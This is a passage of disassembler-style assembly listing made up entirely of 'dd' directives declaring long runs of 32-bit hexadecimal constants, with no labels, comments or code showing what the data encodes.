		dd 0FBF3297Dh, 0A4B75800h, 3E402F90h, 0A58F9883h, 0C025EF3Ah
		dd 7DD8FAF8h, 9D311257h, 0ACCD2481h, 916E4ACCh,	782ED000h
		dd 0C1E854DEh, 0F89D34FEh, 29DF122Bh, 1942FE8Dh, 0D879B350h
		dd 7B11BDA2h, 9D0B1106h, 0FF133769h, 67EEBB5h, 0B75A40Bh
		dd 40089584h, 0D99D0950h, 0BBA69E28h, 21CA190h,	90994768h
		dd 60E94018h, 0E5BE1266h, 0E00EEBDCh, 7AF43756h, 9AB88081h
		dd 0CD188F27h, 4880CF3Ah, 952189D2h, 0C2A0B201h, 41BD2B77h
		dd 0B8091334h, 0A81A5B0Fh, 0A401AEE7h, 17BDB48Ch, 4D5BF8AEh
		dd 0BF66D901h, 6050542Eh, 4E800738h, 94028A0Fh,	364C9700h
		dd 390D4AC1h, 479D1F2Bh
		dd 0A2D9171Ch, 44B77EB6h, 0CB780037h, 7CFDC8ECh, 59125FC1h
		dd 74E9C0B4h, 0E448E65Bh, 2291D9EBh, 0FED929Dh,	0B2D1FCA9h
		dd 0A109F2F8h, 8FBCBA7Ah, 122C4801h, 0DFFF0261h, 765EE3DBh
		dd 6318CD7Ah, 665B8A4Ch, 0BA5412FAh, 0E94E0BCFh, 13D9BCF8h
		dd 0A161B529h, 9D502BAh, 6695D670h, 0FDBD1059h,	5D2EE25h
		dd 1CC9331Fh, 418AC4C9h, 0A240BC2Fh, 8B128C8h, 0B5791CEDh
		dd 0BB4427A5h, 4307F1B5h, 6C04AA58h, 5EA388Ah, 4848F3BBh
		dd 0FEF25A62h, 33D12D76h, 95DE7CD4h, 4D0ABA30h,	0FAF59200h
		dd 3614BB65h, 0F9054A18h, 8C17ACFDh, 0A57EC73Ah, 6400ED27h
		dd 278C6015h, 38C4BF96h, 21C0FB0Eh, 0B45D27AEh,	0BC1024F7h
		dd 516BF06h, 5F46CBC8h,	25FFFC50h, 52B8E5DEh, 940DAFEh
		dd 0B7305DBDh, 1D795353h, 0D4BD58h, 9F737795h, 9D5CB6F0h
		dd 4809C258h, 0FDA74A08h, 0CF3BA95Fh, 76BE52DDh, 0A8B8F0FDh
		dd 0F0B2694Ah, 6D55F889h, 0AA6C4916h, 0AB4B300h, 0EE76CB6Ah
		dd 852909CCh, 0C4DD3271h, 0C85381A3h, 0DC209DEDh, 0CCC69D99h
		dd 0B5C8A24Bh, 206C0095h, 0A88CF8EAh, 81099151h, 709BB0EBh
		dd 2884B5F6h, 0D68BAF0Ah, 70ACBF49h, 50E2CF00h,	0A2DC5B95h
		dd 0B874EDE8h, 955FE289h, 1559C8F3h, 124A5118h,	0A28C4920h
		dd 0A13D00B8h, 821C9553h, 620D4834h, 6276BBB4h,	51562B68h
		dd 92A24Fh, 890B0153h, 0FDF228h, 843B09EEh, 7D810C0h, 0D6C40816h
		dd 1E00CAF2h, 41A4968Ch, 9D05A11Fh, 0A5D573B5h,	635925F7h
		dd 0A826EFACh, 0E209873Ah, 8FAB05FAh, 975168C8h, 0E62611D3h
		dd 748C1234h, 39EC004Ah, 6E35C8B4h, 1C14E263h, 581A5A61h
		dd 9DF13CC2h, 1344BF96h, 9ABA392Ch, 0CF17C8B1h,	8B4712C2h
		dd 6D9F32E0h, 0B777CC95h, 56A0327Bh, 80DEB53Eh,	739F6C9Ah
		dd 29C88E27h, 80CA61DFh, 94D0B25h, 607ED6D8h, 81403C3Ah
		dd 2F53D318h, 57CEFD8Dh, 6A4E9D16h, 0E0B079E7h,	770A552Ch
		dd 0B22DF4B3h, 9E805C48h, 3B436903h, 5ACA05E6h,	17DF06C1h
		dd 0D179F8B1h, 6CB90BB7h, 7E9CD617h, 26041746h,	0BAD266A1h
		dd 9EA9BB17h, 98C17ACh,	5565E419h, 0B59F707h, 0A70040FBh
		dd 8796C1CAh, 0F6E30354h, 0B73A9D84h, 0D36DBCCCh, 4A3F9CA0h
		dd 6FB20Ah, 94A4BB92h, 6B55C601h, 0A2D4AB49h, 203602F6h
		dd 0E2439A54h, 0E0812440h, 99B73E07h, 0C8706142h, 7741844Ch
		dd 86E5B766h, 3DDF6F50h, 0AA853DB5h, 81E23225h,	2B2B190Fh
		dd 6389C5F3h, 17F66CF4h, 4AC22A1h, 1234E5DFh, 64049E8h
		dd 9704ECBDh, 47FBBBAh,	0F2ADC62Fh, 93042FE8h, 27D585E0h
		dd 6EFC2EFh, 0AD48C7FDh, 0DD005F51h, 405F3270h,	53DB00D3h
		dd 7290D177h, 87095146h, 5F75E9A9h, 37779889h, 5140002Ch
		dd 0E0B5F879h, 2981B399h, 9EC23187h, 1CC4ECD0h,	0E5DE26BAh
		dd 0BE2F37F7h, 0F41A3400h, 0D781F98Ah, 0AC84E026h, 0A0275125h
		dd 31927C4h, 40E9A8D4h,	4F87EC16h, 7079A846h, 41508E2Ch
		dd 73ADCE60h, 759200CDh, 3630529h, 0A109A39Ch, 55901739h
		dd 980B29B7h, 0E7995FEAh, 0C326031h, 0BD010B84h, 0B0573045h
		dd 1345009h, 320B9406h,	3BC839D8h, 0EB4ADEF6h, 9400A76Fh
		dd 0CEB2E370h, 3BF08205h, 0C1F1664Fh, 0F9165D2Ch, 0ABAD64ACh
		dd 55A55B4h, 3D2D32FEh,	1AC8EB44h, 127D5B90h, 0A0DEBA4Eh
		dd 5F26FD83h, 50DE4817h, 4A04F0F0h, 0E069F624h,	171DBCB1h
		dd 0E66AD591h, 197DF034h, 0C6F40336h, 0BDBEB22h, 0BC904A9Eh
		dd 0D410A52Dh, 55795282h, 7D319D89h, 0CCE9CFCDh, 2990BDD6h
		dd 2E2DD66Eh, 4F4458A6h, 0E0F0E6D1h, 4EE8E75h, 0E8460114h
		dd 24954010h, 0EADA318Fh, 6B301E1Dh, 86D4103h, 3FFAB58Ah
		dd 0D15BBD09h, 89B04F5Bh, 16CB5802h, 3090B7BDh,	0C5AD804Bh
		dd 0BFD47900h, 7CA0AC1Ch, 372C271Ah, 7ABFBBD0h,	0C2615B7Ch
		dd 8F09D7A1h, 0ED9029C2h, 0F7A1C0A3h, 0C902222Ch, 1C33D549h
		dd 0F97441C0h, 6014F376h, 0FD5ED18Bh, 0A6B90BBCh, 0B56384D3h
		dd 10D7CEAFh, 0B073F935h, 34292F30h, 4BEF37DCh,	0A4C1DCBDh
		dd 7D218535h, 0E34BA50h, 0F3ADA613h, 0B748C1BCh, 0DE11043h
		dd 2E67CD5Bh, 4409AA65h, 11E5FDB5h, 87F3F512h, 0BF0CF820h
		dd 447FB81Eh, 19612FB5h, 1FF4637Eh, 96360C10h, 0F87A0922h
		dd 1711897Bh, 83B0FC17h, 6F1A6922h, 0D5DC70E6h,	0BF5644A9h
		dd 0D2BCDF13h, 0F469E4D2h, 25B50988h, 0C5711521h, 0C10BC026h
		dd 134CDD2Ah, 6098928h,	92038422h, 0C6729F3Bh, 0D62CE92Fh
		dd 0BCFB64CBh, 71966264h, 0C82B0214h, 2BFDBFC2h, 0F82B5F24h
		dd 0EF60F056h, 4AE96826h, 2CDB8DA1h, 4C448744h,	0E7805F10h
		dd 0B6C49598h, 7755CA9Dh, 0CF06BF5Bh, 9728E64Fh, 1369D902h
		dd 4AF5C657h, 0CDD17018h, 0D7000167h, 7BFE3558h, 78537E3Bh
		dd 0DF7CA9E9h, 0BD7A602Fh, 458E0465h, 0D185DC40h, 0AEA61C4Ah
		dd 9E6DCA03h, 0DE033D98h, 0A6960EEBh, 0E9AFC8D0h, 95891901h
		dd 2F5BD581h, 0EBC09967h, 68694C3Eh, 4C8A2806h,	2F4A99E0h
		dd 8582E8E2h, 37D7AC6Fh, 43B5872Bh, 0BD091067h,	709106A9h
		dd 56060927h, 0BE66C0F9h, 80016E5Dh, 0B961C4E0h, 7A7A1005h
		dd 0EAC129Fh, 91020EEh,	0F4B898Dh, 7B57A7C9h, 0F00B1408h
		dd 1AC93320h, 960E7CB5h, 0F8D6E9B8h, 4B6804A7h,	0BF8B82AFh
		dd 0F819AA4h, 91CB0BF7h, 0ADD22BE4h, 254BB87Ah,	0A2EDD52Fh
		dd 24EB5A5h, 76F2432Ah,	107166FDh, 0E5293D9Dh, 0F8A864BDh
		dd 26D0F41Ch, 594073EDh, 0F625181Ch, 0CAF03F63h, 64898A1Ch
		dd 0CCD76993h, 0D25400C7h, 0AAAF433Dh, 8919B356h, 5F7FA98Dh
		dd 0A2FF8F2Bh, 0DC047646h, 79098A4Bh, 447F796Eh, 765249AAh
		dd 0C7351A8Ah, 375F5692h, 0CCC19C9Eh, 551511E9h, 0BF161700h
		dd 12BED2Eh, 6F5E00B3h,	4EC3A787h, 0BA971435h, 94B55586h
		dd 209C9200h, 5FBB337Ah, 0A79D2027h, 541F2A8Ah,	706E2C4h
		dd 4A4E8C61h, 8D86D877h, 0FF2D1134h, 3B8049ACh,	64B6C89Fh
		dd 5E2F8E0Fh, 4FDBE033h, 9028E1E9h, 0CFE57AFCh,	456FF37h
		dd 0BC356968h, 0A7C8E7C2h, 0D909027Ch, 44BC795Bh, 0B5E7FB3Eh
		dd 2B7F68A0h, 66FC6B01h, 0E1649F47h, 0D6DE282Fh, 0CD0457D3h
		dd 60022345h, 0A0DF9D0Bh, 0F6BB6601h, 0A4899748h, 1937D5h
		dd 6CE6052Ah, 8B97B34Bh, 804837A1h, 7A21545Dh, 0DF07813Ah
		dd 3D2C446h, 77E1E367h,	482F1BA3h, 0B38C42A7h, 0F799DCEAh
		dd 288FDD2Ah, 430180D4h, 0EDE2CD3h, 88E366E0h, 0AE4F0A43h
		dd 6BAF6BD1h, 1CC85C9Ah, 0B05527C0h, 1412F645h,	0BF79599Fh
		dd 1658E35Bh, 2DC290FEh, 5A6AEC8Ah, 0D899A4F9h,	9B3B5081h
		dd 0D61BC747h, 0DAA3744h, 2ED12153h, 0DFBC4FA9h, 898A763Ah
		dd 0FCC2DB34h, 0EB0D17D0h, 513DF93Dh, 2F527400h, 926EA2B2h
		dd 0AAFC985Bh, 6212D1C0h, 3F00C3E6h, 7E948BA7h,	5DC029F6h
		dd 5F3D748Fh, 0A4D48DEBh, 75F82D1Eh, 98577309h,	0C28A1243h
		dd 2A420CA6h, 58C1250Bh, 0D071B073h, 0C272A82Bh, 5E24E4BBh
		dd 625069F7h, 0E9ECD509h, 0BF3D204Eh, 4B5E6A9Ah, 66AEE24h
		dd 3BDD995Ah, 0AAA08180h, 0CD4E4B81h, 4EDA2CE3h, 947E37EBh
		dd 0D2A5BDF8h, 26AEEh, 89D2B766h, 0B55B5106h, 17648DCDh
		dd 67403360h, 4BD3DA5Dh, 92877B84h, 50012A14h, 3BC88B60h
		dd 0DAA5B735h, 11C1391Ah, 3AB38D5Dh, 700232B6h,	502BF1AAh
		dd 7F000DC6h, 7975623Bh, 147E2A4h, 235D97DBh, 0C65BFC82h
		dd 0BAA6595Fh
		dd 31BDE502h, 2558A99Dh, 817A6804h, 42EC9A16h, 8828505h
		dd 4BA266h, 2A7F61D8h, 1229E77h, 0B5EF713h, 6B6CD62Ch
		dd 0ED295798h, 9028E46Fh, 0D9F90B5h, 54310221h,	5026F6E5h
		dd 1EC03ADCh, 0B77DEC08h, 2D212750h, 929D4F15h,	0AD09568Dh
		dd 0BDA1BC06h, 8012B366h, 7BBFB5EFh, 2D1B2356h,	7205FE71h
		dd 8D82EDA4h, 512D5CFFh, 0CF77C27Ch, 1BA403Fh, 5D01D7ACh
		dd 89FF49E3h, 4D6F099Dh, 5B2D69F5h, 52C6C0D4h, 24F5CF99h
		dd 1D152E95h, 67226ED7h, 0EFAEE56Ch, 6009708Fh,	0C7F15B53h
		dd 9A4FB600h, 2868B72Ch, 27817D7Bh, 37775F61h, 0D2D8D195h
		dd 0C5C455h, 80CA0546h,	0CFBF4FF3h, 2B42B513h, 2DDBAA9Ch
		dd 76901648h, 0D400613Fh, 29E77E67h, 0C2A847h, 0F26093AFh
		dd 5AB1BCA5h, 456B9497h, 56723Eh, 8E8DA67Dh, 77FFB9F6h
		dd 0F1FB00C3h, 3D0AF920h, 0B59C73CBh, 155154CAh, 0F4BF5381h
		dd 6B426E24h, 8B84A8BCh, 6361AAD9h, 282F319Dh, 8858B771h
		dd 0CACC3961h, 0CF7030EBh, 4DF05BD5h, 9138B597h, 0AD4D8019h
		dd 4CDEDB30h, 71331555h, 7626507Fh, 37A5C4DAh, 526A07FFh
		dd 305D2BB5h, 41ED9DEBh, 0CBF00705h, 0D41E0399h, 0B2003853h
		dd 19DCC8C5h, 0BFEAFB7h, 9529BE4Dh, 5F4F61DDh, 819B2A2Bh
		dd 76B120B9h, 0A92CBD3Fh, 9980C96Dh, 0D9DE77EAh, 0CC25E402h
		dd 0B2F84AEEh, 15B275D9h, 25BFECF7h, 327BF311h,	0C5A59D09h
		dd 0F2E57890h, 0CE12783Ah, 12045108h, 808FF852h, 0F4377FA4h
		dd 0F7704D1h, 0AE5F30BDh, 1EA01EE7h, 0D12EF33Bh, 1C898EF4h
		dd 0C4707875h, 0BD0CE5DAh, 918DA70h, 0F5BA5DEDh, 0BD0E407Dh
		dd 0BD3245D1h, 13E99192h, 0D37AC003h, 558849B5h, 1D038EE2h
		dd 5947D07Bh, 0BECA0951h, 0B7F5F886h, 8F1C1124h, 0CF03A096h
		dd 28A8D33Fh, 2FA970FEh, 62EE0CF5h, 1C30DAA0h, 0D88A9613h
		dd 1F6230BEh, 29729787h, 35248B01h, 2CA27822h, 7D004873h
		dd 42E0DA5Ah, 0FC0C9EE9h, 203084ABh, 25F6451h, 0E1C7E696h
		dd 0B541A5B0h, 0BC3F0371h, 2473AB21h, 0B6EC1B4h, 0B45C2339h
		dd 8003B7E9h, 0E9C431B1h, 5D099E98h, 62C5D724h,	51345C86h
		dd 0F7A73E42h, 0D3F9CBB0h, 0F8C5A21Dh, 0F8B2CB7Ch, 0E58CA300h
		dd 698F4CBEh, 0B7BA1701h, 8A2C1F16h, 0DAA6206Ah, 0B5278D01h
		dd 92B77D10h, 12344C25h, 296415Dh, 63FBA81Fh, 5664F85Ch
		dd 90028A2h, 0F10E4C8Fh, 5307FEDDh, 0C2A27EA8h,	0BB59C987h
		dd 48E8998Dh, 0CA2B01D5h, 82D1A06Ch, 0BBBA0F97h, 5DEBE339h
		dd 2E0977C1h, 885AD038h, 1997DF8Bh, 3E3360A2h, 0ACDA5E00h
		dd 3937AAC6h, 46655D25h, 7FF40068h, 0F141CC7h, 0CD009470h
		dd 7DDA899Dh, 0EE03ECB4h, 43BBE75h, 0FDC66159h,	48FEE8EBh
		dd 0BD128E3Dh, 0F9ABB23h, 8489DA5Ah, 7BB8C1E8h,	0CCF77CC9h
		dd 16E698A3h, 0B81BE9AEh, 0F06E4F96h, 43839902h, 0B87175D5h
		dd 0B2E86C30h, 48850595h, 0ADC18BCDh, 272BB80Dh, 96A55B88h
		dd 825C8156h, 8D6A203Ch, 0D41C152Dh, 309FDE7Fh,	1D9D4312h
		dd 0C1C9FDEFh, 99279492h, 0FAED2A8Bh, 0BD535012h, 70F58086h
		dd 4B8E779Ah, 62BB05Fh,	0BA5B188h, 6CE2D339h, 2BE72570h
		dd 3DE8A6A9h, 704F4E90h, 7AEF88h, 0A8839088h, 6EBD750Eh
		dd 82561B00h, 0BC1CEF36h, 7FF013DEh, 761759E3h,	0BB65DC81h
		dd 0D210E625h, 0B0119824h, 25BD2DBCh, 5A051759h, 0A2AEAD09h
		dd 0AE800DAh, 0C0AFB946h, 0EC7404D5h, 0EF75FDC3h, 92EFB413h
		dd 54D30597h, 711B870h,	45622B78h, 0B604A9F6h, 66D2EE8Dh
		dd 2BC26250h, 0C0054DA0h, 0FDE56534h, 3362370Eh, 0DE31EBBDh
		dd 75C69C4h, 0DBEA10B4h, 10A4D03Eh, 0B85B0F01h,	5C2801Eh
		dd 0A4880Eh, 0DE3D2F03h, 7A5DAC87h, 718E4E02h, 0C1EA4293h
		dd 9592F964h, 8247E95Bh, 141E45BDh, 959D3113h, 1104D153h
		dd 0B9F6D1FFh, 22F601E2h, 1030EB2Dh, 115115Ah, 0B070BF61h
		dd 282E4F9Bh, 5688B7DEh, 693D09BFh, 88DF0DA6h, 4FD645CEh
		dd 0FF3C20B7h, 21053702h, 90268AFBh, 0D980CFFCh, 0F07F8777h
		dd 0CD48D67Ah, 5F254BCAh, 210C80EBh, 3C0957F3h,	2CD7B98h
		dd 2005E9CEh, 189AA37Fh, 5ACC4748h, 4A80E9ADh, 0F6A8BBE6h
		dd 46905B2Fh, 0B58B9758h, 0F39D02F8h, 181659F6h, 0EBE1B8DAh
		dd 1800E823h, 513ABFC2h, 76002293h, 0B2C86BF7h,	446035h
		dd 0C1B826BCh, 85E95BF4h, 492F9C97h, 0B317DC64h, 12D46FDBh
		dd 0F9BD2F68h, 0A734B6D3h, 75CE0E0h, 0F87149Ch,	0BC9DEA8Bh
		dd 0FC01D25Fh, 1C7482DDh, 37ED4A80h, 9B0984A5h,	935DBCF9h
		dd 6FE843F9h, 96D28F1Dh, 53570985h, 906E3480h, 9D29085Bh
		dd 62250A25h, 0C9885CF8h, 0D225D958h, 38CE6B5h,	551C36BFh
		dd 0B6E46A43h, 0ADC6E0EFh, 14F9A0BBh, 1A6297F6h, 2A41B578h
		dd 0FD41C16Fh, 802D7D05h, 84D7DDE0h, 0EA4800ACh, 52232D50h
		dd 37129514h, 0A9F60B0Ah, 49F0C22h, 0B00E293Dh,	0E6F3B701h
		dd 0BAD44070h, 715BE43Ah, 482EBAF1h, 7CADEFA3h,	1BD10888h
		dd 27E50C31h, 0B6162806h, 12FA2BC8h, 5AABE627h,	4D38FBFDh
		dd 0D2B45A43h, 25D499B5h, 935CA3C2h, 38F6EBE7h,	8855E340h
		dd 0F9A3D2EFh, 7EE78101h, 2F1BAFF4h, 5E1199E9h,	5085C8DAh
		dd 47554C18h, 0B12E45F8h, 0B2D43963h, 8109A30Dh, 482F34B3h
		dd 90B23997h, 95F92B20h, 26947527h, 193F5500h, 83679FC0h
		dd 4E65B31h, 323E199h, 8449E95Fh, 53149CAAh, 9D0B5B04h
		dd 0AB1234C5h, 0E0C4E264h, 770CE7BEh, 197DB516h, 0B8A584BCh
		dd 7B05D36Dh, 0D2B52F61h, 7ABF8608h, 97267E8Ah,	7FD99EB3h
		dd 3C6F6BACh, 0D9AF4805h, 8313FEDBh, 0F66AEB49h, 9C02DEF9h
		dd 4529B533h, 4A04484Bh, 7576BFDBh, 0D4D300FEh,	2D8A9059h
		dd 3A163745h, 0D0AB3199h, 11C6B96Bh, 0C2A5A3B4h, 7007DBBDh
		dd 6C0FDD3Fh, 0A94EB1A8h, 10D8D676h, 22AA5F2Eh,	6653FCD9h
		dd 78E0E70h, 8FD90B31h,	0C539229Ch, 3C40A97Ch, 0AFBC1Bh
		dd 0C4690AADh, 0B6E83361h, 0C0582BEAh, 60897C7Bh, 5010303Eh
		dd 2B27615Eh, 69447CD2h, 4D69DA73h, 0F1414026h,	9D4F328Eh
		dd 1D9EEEE9h, 9654E701h, 0AB4105F4h, 0BFF6804Bh, 0E945F3C4h
		dd 18BD880Dh, 1F024CECh, 0BFBDCCC2h, 0BB99D10Fh, 0CC7BFB2Dh
		dd 1A9DBD04h, 0F954E2AEh, 67E0607Ah, 0B496F5CDh, 0DA64BFDCh
		dd 41742327h, 8E2E1095h, 0BF71225Ah, 0B725BBC6h, 7DDBE43Fh
		dd 0C5F4BD89h, 6111D62Fh, 2F31E780h, 1623B76Bh,	3DFB2200h
		dd 9AF33BBh, 0E1FF7692h, 65C093CDh, 559ABDFh, 69AAD83Dh
		dd 29B0E0A4h, 45A29C97h, 80173861h, 0D3131E94h,	84F4003Ch
		dd 2276276Bh, 9C0314BBh, 5750E602h, 5E5F8A5Bh, 3A5551B7h
		dd 0DCB0BBF7h, 949761A3h, 34F445B0h, 4DB560A5h,	3782C0DEh
		dd 0F848C5A1h, 104175C0h, 81C9002Eh, 0BFA0AEC3h, 0D5C86A6Ah
		dd 0F5BA0344h, 0BA132E47h, 2F56EEFh, 733332BCh,	8510DDFBh
		dd 0B5394323h, 0F84B8F39h, 2B7AA007h, 1721AD64h, 2456851h
		dd 5F25B555h, 4091C95Eh, 40C5EA40h, 9D122B26h, 2DAB27A5h
		dd 0DD9A3EBEh, 0B52A7580h, 0FA4E8B9Ah, 0A1005FE2h, 0DF62F50Ah
		dd 72CF88CEh, 5B1730ADh, 0A166EB8Ah, 9E1209Ch, 0FE2FB0B0h
		dd 0E4351890h, 0F1DEC70h, 37BBA32Eh, 78A576C0h,	3E056F9Fh
		dd 0D27B6747h, 0E3C590BAh, 0DE9C90E7h, 9E9C7040h, 1B9700B9h
		dd 36742749h, 6A5B5259h, 0E1F009B6h, 0EE09903Dh, 44EB6C86h
		dd 0D6769F3Bh, 0A31350h
		dd 8652D54Eh, 0A017DC68h, 0FA3FE9BFh, 2308F43Bh, 4BBF143Eh
		dd 56F51131h, 52FB8D45h, 4D29AACFh, 1336A3Eh, 89170BD7h
		dd 0E42A5DB5h, 0D3BD85CCh, 512CF026h, 3B0BD3FAh, 8616BB42h
		dd 4C7C4E6h, 92A63EBFh,	0AAC7BC2Eh, 9D47057Ch, 0EF03E50Bh
		dd 0C5FD8B0Dh, 25F38260h, 0B5D3E956h, 9CBA8416h, 0C176A09Fh
		dd 3B69107h, 0FF816581h, 508971E0h, 0C6740675h,	3F4C51E9h
		dd 0F9A1E380h, 0F2B4359h, 94A32103h, 0C7BFB936h, 0BF835794h
		dd 3E9FC4Fh, 8C1CACh, 5B61DCB0h, 0A58FD808h, 34F13764h
		dd 0EA068905h, 29AF8D85h, 1BC72E3Eh, 0F6BB46F5h, 4B3FE02Eh
		dd 183CF8A4h, 7AB49F57h, 0C9821A45h, 77BE151Eh,	50D6A44Fh
		dd 35F8514Fh, 5461BB4Bh, 9ADCA691h, 7F871C6h, 391E3A2Ah
		dd 30A24766h, 0B5FFFC5Dh, 9682344h, 0E131D351h,	5122598h
		dd 5C5FDE02h, 5E5BF0D4h, 30AE02F6h, 0CD541EEDh,	0F0CA04DCh
		dd 0C1CD974Bh, 3A209E19h, 0E6EA0624h, 1CF7E04Ch, 0F48C1764h
		dd 8E68C8D4h, 9B5B8A00h, 5DA7B1F3h, 6FDA02B3h, 9069D6C3h
		dd 5073D658h, 3CADFA77h, 8E169461h, 0AD5B043Ch,	0AFBF80EEh
		dd 4A186085h, 8028DB61h, 138EC0A2h, 9DB77703h, 4F7400DEh
		dd 467B33h, 73B93292h, 9E2CE99h, 1D45BD09h, 80C9F45Eh
		dd 0D8E54AC1h, 4D7B9525h, 9719115Fh, 89EBC8EFh,	356D9513h
		dd 0C9E8D7EDh, 46257990h, 1DC6E5A4h, 0B7BD2F8Ch, 0F3885300h
		dd 7998D58Ch, 0B6548BAh, 6A035BB1h, 0E15FAE7Ah,	0CA992BA8h
		dd 0DF2E1F21h, 69A89719h, 574F6A2h, 0BD267069h,	37D80DDBh
		dd 0AA0D0EF5h, 1AB35B4Ch, 1F5E04D0h, 9D525767h,	5FF5C885h
		dd 40A6BE96h, 3FF26266h, 515EDC75h, 5B3884A3h, 26E4CCCFh
		dd 15FD2303h, 0B83377D5h, 1AA5A625h, 544C5968h,	1C12025Ch
		dd 875B2BAFh, 1690AE15h, 25A7BD84h, 0E7E681B7h,	9E23CF9Ch
		dd 0E11D7E2Dh, 2B7C61EBh, 0A2FC78ADh, 0E8771327h, 4ABF0A3Bh
		dd 7B77F1B2h, 4135189Ch, 0B1142E2Ch, 0B8D4E48h,	0B39FE73Bh
		dd 3CD31657h, 0C9CD0922h, 0DE4AB579h, 5F27510Bh, 4E94C896h
		dd 0D9BB00D4h, 30BF869Fh, 43612BF8h, 8EE4C782h,	870F5284h
		dd 0E9BB4005h, 9F7C847Dh, 2FFE77D6h, 70509A7Ah,	420E59Fh
		dd 0D24D8D29h, 33542BD4h, 0FA163D4Ah, 0D5F8730Eh, 4BA0AC3Ch
		dd 5409201Fh, 1B0055C8h, 470DC037h, 0F47A5F0Ch,	930F28Bh
		dd 0D0A74EC5h, 16117237h, 0CDFE2F80h, 977DD7BBh, 0B2352FEFh
		dd 8CE21A12h, 56822788h, 48ED8D89h, 97965B3Fh, 6F3B2390h
		dd 0AF1D1A16h, 418AFBh,	96C9B750h, 4B35BD01h, 0C871DB1Bh
		dd 0D650C017h, 58B58BA8h, 25FF9C63h, 92F8BF5Fh,	50F45077h
		dd 0FB9D3184h, 4D6EAE59h, 83522E0Dh, 4BC4BEB0h,	255ECA36h
		dd 67FACF39h, 92B8C06Ch, 3E74C072h, 85A0884Fh, 28EE9534h
		dd 0D80BF7E8h, 5E2AFA4Ah, 9501D0E4h, 0E9B7ED62h, 27145E97h
		dd 0B9035737h, 0FA0F8C1Dh, 6930D90Bh, 0ABCA5B04h, 0ACF89D84h
		dd 0C0965080h, 0EC001672h, 3DA62D65h, 4FCC9CFh,	37AB0DDCh
		dd 0BE3FE50h, 0E02BE578h, 2E44417Ah, 0D1B51289h, 21FBB634h
		dd 382232h, 597BC45Bh, 903A1CEDh, 0A0096500h, 9A9D24F3h
		dd 576C2092h, 0AD188613h, 0BDBCBABDh, 0A839F803h, 0F1C29CD4h
		dd 29CA8529h, 0ED9DA558h, 0A7FEC219h, 8D898189h, 75008B51h
		dd 57EC68F2h, 4D630BCFh, 65540ED1h, 23DBB382h, 8F69FFBDh
		dd 0A050776Ah, 3B1720h,	98D6C09Ah, 6A706C05h, 0E59D4DBFh
		dd 0C18FA7Ah, 4C28DBA6h, 0D704F04Eh, 0B92C3EAFh, 6FAA4B92h
		dd 628F13C3h, 5C0830C2h, 9D2BE0AFh, 7E8226F1h, 3BF46B20h
		dd 5EE30439h, 8AB8D1FFh, 0C62959A2h, 2AF495E0h,	60846EF0h
		dd 0DEEFE855h, 18956140h, 7989BF75h, 6A2C13CDh,	558B0D02h
		dd 8AC6BB3h, 9C84BBD3h,	0BC484BCAh, 37BE6C0h, 3A00DAB4h
		dd 0CEB371AEh, 9BA2114h, 0B8E98A11h, 90C22C71h,	6DF30B18h
		dd 0EEFB5F72h, 0C7D46DADh, 0AD5BE0E1h, 8DE4F53Eh, 0D4D2D697h
		dd 0F82530BDh, 0F3321C7Ch, 4FEDD3BEh, 0B8973ACAh, 5F90CBA7h
		dd 7C2DDEC4h, 0C7107F9Ch, 59345160h, 0F6FE1061h, 0BF4DF042h
		dd 726C139Fh, 3FC8BA2Ah, 60B0028h, 0CD819B71h, 8D018548h
		dd 60448E6Bh, 35605961h, 0B82C4AD5h, 25C4B6C5h,	0DF711981h
		dd 5A511A4Ch, 0C366FD35h, 0CD6A39B7h, 0F217A66Fh, 0C1B30023h
		dd 9D297047h, 0F324B12Dh, 120C0070h, 0BB8E38EFh, 24CBB000h
		dd 32428B75h, 0A411689h, 0DDA40B95h, 606D6F57h,	6A5E748Fh
		dd 69C1C712h, 622BF7B1h, 8598FD78h, 0B08118B9h,	0E66A912Bh
		dd 44203A70h, 242D03h, 34B14E67h, 0EF8071E4h, 0B529060Bh
		dd 557DA901h, 1A7FEFBAh, 0C258DFB4h, 6299511h, 750AFCCBh
		dd 0B14B60D0h, 6A00048Fh, 0A3159B65h, 12673768h, 0E180986Bh
		dd 0F8C82F8Eh, 418B0022h, 0B2660134h, 0DF2F7C53h, 1C447478h
		dd 9AC3655Bh, 28C5E410h, 0D1A7E05Ah, 7AE2B764h,	0E30B7C54h
		dd 0F834ABBh, 44834E49h, 7C96FAB5h, 0DFD6C909h,	4A77F855h
		dd 0DDE1B961h, 197D9D04h, 52584C48h, 0D5852D89h, 0AF5BA505h
		dd 305F0ECAh, 7DBD09F9h, 43B81A4Eh, 4EDD2B7h, 59A05D5Ch
		dd 7F4972B4h, 0D20E1D64h, 0A9A6979Eh, 869738Dh,	0AF69150h
		dd 39B4F842h, 0F3810094h, 45172CA1h, 0C14CE8B7h, 85318018h
		dd 5E138925h, 46FFE90Bh, 13814233h, 43FB8D29h, 1016B9D4h
		dd 60DBBA85h, 0E81A02DCh, 565C3317h, 62375F27h,	74F04D00h
		dd 25C69F19h, 7D44FCEBh, 862CB83Fh, 0C244FE14h,	0DE1D0068h
		dd 3ABC9867h, 2AE3B3B0h, 70E9E6C5h, 828169EDh, 7F89D22Bh
		dd 3148D8E4h, 4A9D59AEh, 1CF220E7h, 1096A30h, 9948D15Fh
		dd 4878ADC5h, 9510293Ch, 66051475h, 0AF28BCBBh,	0E500A57Fh
		dd 0F05F6275h, 0F3027BF6h, 0CB617DBFh, 0E9C7DE7Ch, 4B40F4CDh
		dd 4865982h, 51028955h,	0DF5FB0CBh, 0F7541B97h,	1D263D62h
		dd 0C4353033h, 69E214B8h, 0EA097729h, 979AA5Dh,	0C06D4F2Dh
		dd 4A22DF66h, 0ED182007h, 29B1C465h, 314411BDh,	0A2ADA6EEh
		dd 0A4C6B01Dh, 0C7D300ECh, 0A9697910h, 0FF25E0D2h, 59F989E1h
		dd 5272440Ch, 8088F2A2h, 0F59593BBh, 7184F9ACh,	0F2CEEA26h
		dd 0BD5D3127h, 947C0056h, 3899E579h, 7EEF0809h,	821A3760h
		dd 80AFF9EFh, 514C854Ch, 30C911E4h, 0CC08C44Ah,	180BF84Ch
		dd 5F338215h, 14A6771Ah, 8B953513h, 0C1E2ED0Dh,	7049FD6Fh
		dd 265AC531h, 0AC1266F3h, 0E8B2ED01h, 0FEB94AF1h, 75B0AF59h
		dd 4A12AC14h, 2B47AFFh,	2AA04AA2h, 3471B2h, 5E9C3018h
		dd 0C8FD2002h, 0E801159Eh, 975DA3B8h, 602EF49Fh, 90DA8A13h
		dd 255D44BFh, 0E74C87E2h, 72525025h, 802BB1DDh,	17B7F108h
		dd 0C1006F48h, 0C8219241h, 4FEC0518h, 6E27B542h, 0C89736BCh
